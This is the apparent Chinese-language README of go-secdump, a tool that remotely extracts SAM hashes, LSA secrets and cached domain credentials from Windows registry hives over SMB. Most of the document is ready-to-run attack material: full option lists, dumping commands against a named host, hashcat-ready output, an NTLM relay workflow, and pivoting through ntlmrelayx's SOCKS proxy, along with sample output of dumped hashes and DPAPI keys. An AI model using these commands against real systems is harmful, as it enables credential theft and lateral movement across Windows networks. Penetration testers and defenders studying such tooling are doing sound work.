go-secdump 是一个用于从 SAM 注册表配置单元远程提取哈希值以及从 SECURITY 配置单元提取 LSA 机密和缓存的哈希值的工具,无需远程代理,也无需接触磁盘。
该工具基于 go-smb 库构建,并利用它与 Windows 远程注册表通信,直接从内存中检索注册表键。
该工具的构建是为了学习经验,并作为概念验证,证明应该能够远程从 SAM 配置单元检索 NT 哈希值、LSA 机密以及域缓存凭据,而无需先将注册表配置单元保存到磁盘,然后再在本地解析它们。
需要克服的主要问题是,SAM 和 SECURITY 配置单元仅可由 NT AUTHORITY\SYSTEM 读取。然而,我注意到本地组管理员对注册表配置单元具有 WriteDACL 权限,因此可以用来临时授予自身读取权限以检索机密,然后恢复原始权限。
然而,更好的方法是由 Synacktiv 的 Julien Egloff 于 2025 年 2 月发现。用于打开注册表键句柄的 BaseRegOpenKey 请求有一个选项可以断言 SeBackupPrivilege,这使我们在不先更改 DACL 的情况下就能打开注册表键。 该工具已更新为优先使用这种新方法,仅在明确要求时才更改 DACL。
本项目中的大部分代码灵感来自/取自 Impacket 的 secdump,但已转换为远程访问 Windows 注册表并仅访问所需的注册表键。
下面列出了一些有助于理解注册表结构和加密方法的其他来源:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
使用 SeBackupPrivilege 的想法来自 Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Usage: ./go-secdump [options]
options:
--host <target> 远程服务器的主机名或 IP 地址。使用 Kerberos 时必须为主机名
-P, --port <port> SMB 端口 (默认 445)
-d, --domain <domain> 登录使用的域名
-u, --user <username> 用户名
-p, --pass <pass> 密码
-n, --no-pass 禁用密码提示并不发送任何凭据
--hash <NT Hash> 用户密码的十六进制编码 NT 哈希值
--local 以本地用户身份认证,而非域用户
-k, --kerberos 使用 Kerberos 认证(Linux 上会检查 KRB5CCNAME)
--dc-ip <ip> 使用 Kerberos 认证时,可选择指定 KDC 的 IP 地址
--target-ip <ip> 使用 Kerberos 认证时,可选择指定目标的 IP 地址
--aes-key <hex> 使用十六进制编码的 AES128/256 密钥进行 Kerberos 认证
--keytab-file <file> 使用 keytab 文件中的密钥进行认证(隐含 -k)。如果未指定,用户和域取自第一个 keytab 条目
--dns-host <ip[:port]>覆盖系统的默认 DNS 解析器
--dns-tcp 强制 DNS 查找使用 TCP。使用 --socks-host 时默认为 true
--dump 将 SAM 和 SECURITY 配置单元保存到磁盘并传输到本地机器
--sam 显式从 SAM 配置单元提取机密。仅包含其他显式目标
--lsa 显式提取 LSA 机密。仅包含其他显式目标
--dcc2 显式提取 DCC2 缓存。仅包含其他显式目标
--misc 显式提取杂项注册表机密(如 Winlogon DefaultPassword)。仅包含其他显式目标
--modify-dacl 在转储前更改注册表键的 DACL。仅当使用 SeBackupPrivilege 无法打开键时需要。(默认 false)
--backup-dacl 在修改前将原始 DACL 保存到磁盘
--restore-dacl 使用磁盘备份恢复 DACL。如果自动恢复失败,此选项可能有用
--backup-file <file> DACL 备份的文件名 (默认 dacl.backup)
--relay 启动一个 SMB 监听器,将传入的 NTLM 认证中继到远程服务器并使用该连接。注意:这会强制使用 SMB 2.1 且不使用加密
--relay-port <port> 中继的监听端口 (默认 445)
--socks-host <target> 通过 SOCKS5 代理服务器建立连接
--socks-port <port> SOCKS5 代理端口 (默认 1080)
-t, --timeout <duration> 连接超时时间,格式如 5s 或 2m (默认 5s)
--noenc 禁用 smb 加密
--smb2 强制使用 smb 2.1
--debug 启用调试日志。仅使用 --debug 会启用所有已注册的包;--debug=msrrp,smb 仅启用列出的包名后缀(必须使用等号形式才能进行过滤)
--verbose 启用详细日志。过滤语法与 --debug 相同。--debug 和 --verbose 可以使用不同的过滤器组合;针对同一包同时使用两选项时,取更高级别
--list-log-packages 列出可通过 --debug=<后缀> 或 --verbose=<后缀> 定位的已注册日志包名称,然后退出
-o, --output <file> 结果输出文件名 (默认为标准输出)。如果文件存在则追加
--output-format <fmt> 输出格式:text (默认)、json 或 hashcat
--history 包含历史(OldVal)LSA 机密以及当前值
-q, --quiet 抑制信息性标题;仅打印机密
-v, --version 显示版本
现在作为可选功能,使用 --modify-dacl 启用后,go-secdump 将自动尝试修改然后恢复所需注册表键的 DACL。但是,如果在恢复过程中出现问题(例如网络断开或其他中断),远程注册表将保留修改后的 DACL。
使用 --backup-dacl 参数可以在修改前存储原始 DACL 的序列化副本。
如果发生连接问题,可以稍后使用 --restore-dacl 参数从文件恢复 DACL。
使用 SeBackupPrivilege 技巧转储所有注册表机密
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
或
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
仅转储 SAM、LSA、DCC2 缓存或杂项注册表机密
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
--misc 目标提取不属于 SAM/LSA/DCC2 配置单元的杂项注册表机密,目前包括 Winlogon 自动登录的 DefaultPassword(以及关联的 DefaultUserName),如果存在的话。
使用 --history 包含历史(OldVal)LSA 机密以及当前值。使用 -o/--output 将结果写入文件(如果文件存在则追加),并使用 --output-format 选择机密的格式化方式:
text(默认)—— 人类可读json —— 一种类型化记录的 JSON 数组,适合进一步处理hashcat —— 裸 NT 哈希值(模式 1000)和 $DCC2$ 行(模式 2100),可直接提供给 hashcat使用 -q/--quiet 抑制信息性标题和摘要,只打印机密本身。
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet
列出可以定位的日志包名称,然后为特定包(按名称后缀匹配)启用调试或详细日志记录,而不是启用所有包:
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb
使用 NTLM 中继转储注册表机密
启动监听器
./go-secdump --host 192.168.0.100 -n --relay
以某种方式触发来自对 192.168.0.100 具有管理访问权限的客户端到您机器的认证,然后等待转储的机密。
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
使用上游 SOCKS5 代理转储机密,既可用于跳板,也可利用 Impacket 的 ntlmrelayx.py SOCKS 服务器功能。
当使用 ntlmrelayx.py 作为上游代理时,提供的用户名必须与已认证客户端的用户名匹配,但密码可以为空。
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080